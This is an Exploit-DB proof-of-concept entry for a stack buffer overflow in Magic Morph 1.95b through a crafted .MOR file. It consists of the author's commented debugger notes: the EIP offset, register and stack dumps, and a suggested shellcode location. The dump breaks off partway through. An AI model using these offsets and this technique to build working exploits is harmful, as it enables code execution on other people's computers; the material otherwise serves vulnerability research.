Exploit-DB #9659
Description: Portable E.M Magic Morph 1.95b - '.MOR' File Stack Buffer Overflow
Type: local
Platform: windows
Date: 2009-09-14
Author: fl0 fl0w

Exploit:
   /*********************************************************************
    Portable E.M Magic Morph 1.95b .MOR File Stack Buffer Overflow POC  *
    By fl0 fl0w                                                         *
    "can't stop me/my time is now/your time is up/MY TIME IS NOW !!!!"  *                               
   **********************************************************************             
   

  /********************************************************************************************************
   The EIP offset is at 312 bytes 0x138 HEX                                                               *  
   After you compile and create the .MOR file ,edit it with HEX EDITOR and start counting from the start  *   
   of the file, and you'll have to rezult with 0x138 bytes                                                *
                                                                                                          *
   I used a technique names "stack spray" to determine the offset.                                        *
                                                                                                          * 
   CPU REGISTERS                                                                                          *  
   EAX 00000000                                                                                           *
   ECX 33333333                                                                                           *
   EDX 01492288                                                                                           *
   EBX 00000001                                                                                           *
                                                                                                          *
   ESP 0012EF7C ASCII "444bbbbbbbbbbbgggggggggggggggggbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa   *
   ````````````````````````````````````````````````YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY       *
   XXXXXXXXXXXXXXXXcccccccccccccccccccccccccccccccc[PII_REDACTED]                                             *
   EBP 0012F3CC ASCII "````````````````````````````````````````````````YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY   *
   YYYYYYYYYYYYYYYYXXXXXXXXXXXXXXXXcccccccccccccccccccccccccccccccc[PII_REDACTED]333333333fffffAAAAww44444b   *
   bbbbbbbbbbgggggggggggggggggbaaaaaaaaaaaaaaaaaaaaaaaaaa                                                 *
                                                                                                          * 
   ESI 00F369B0                                                                                           *
   EDI 00F369B0                                                                                           *
   EIP 41414141                                                                                           *
                                                                                                          * 
   We control ECX, EIP witch is more than enought to copy what addresess you want in the memory.          *
   So I go in OLLYDBG at the ESP register and right click ->follow in stack ,I observe that the corruption*
   starts at a much lower address.                                                                        *
   This is what ESP points to:                                                                            *
   ******************************************************************************************************** 
  */ 
   
   /************************
     STACK                 * 
     0012EF7C   62343434   *                                                                               
     0012EF80   62626262   *
     0012EF84   62626262   *
     0012EF88   67676262   *
     0012EF8C   67676767   *
     0012EF90   67676767   *
     0012EF94   67676767   *
     0012EF98   62676767   *
     0012EF9C   61616161   *
     0012EFA0   61616161   *
     0012EFA4   61616161   *
     0012EFA8   61616161   *
     0012EFAC   61616161   *
     0012EFB0   61616161   * 
     0012EFB4   61616161   * 
     0012EFB8   61616161   *
     0012EFBC   61616161   *
     0012EFC0   61616161   *
     0012EFC4   61616161   *
     0012EFC8   61616161   *
     0012EFCC   60606060   *
     0012EFD0   60606060   *
     0012EFD4   60606060   *
     0012EFD8   60606060   *
     0012EFDC   60606060   *
     0012EFE0   60606060   *
     0012EFE4   60606060   *
     0012EFE8   60606060   *  
     0012EFF0   60606060   *
     0012EFF4   60606060   *
     0012EFF8   60606060   *
     0012EFFC   59595959   *
     0012F000   59595959   *
     0012F004   59595959   *
     0012F008   59595959   *
     0012F00C   59595959   *
     ..................... *
     ***********************
*/


/*************************************************
You can copy your shellcode starting from here : *
    0012EC3C   63636363                          *
                                                 * 
 0x12EF80 = 1240960 ->NOT-> A                    * 
                                                 * 
 0x12EC3C = 1240124 ->NOT-> B                    * 
                                                 *
 A > B                                           * 
 A - B = 836 = 0x344                             *  
 So the stack gets corrupted a long way from ESP.*
 *************************************************
 */
 
 

  /************************************************* 
   LOOK OF THE DUMP                                * 
   0012EE4C              63 63 63 63      cccc     *
   0012EE54  63 63 63 63 63 63 63 63  cccccccc     *
   0012EE5C  32 32 32 32 32 32 32 32  22222222     *
   0012EE64  32 33 33 33 33 33 33 33  23333333     *
   0012EE6C  33 33 33 66 66 66 66 66  333fffff     *
   0012EE74  41 41 41 41 77 77 34 34  AAAAww44     *
   0012EE7C  34 34 3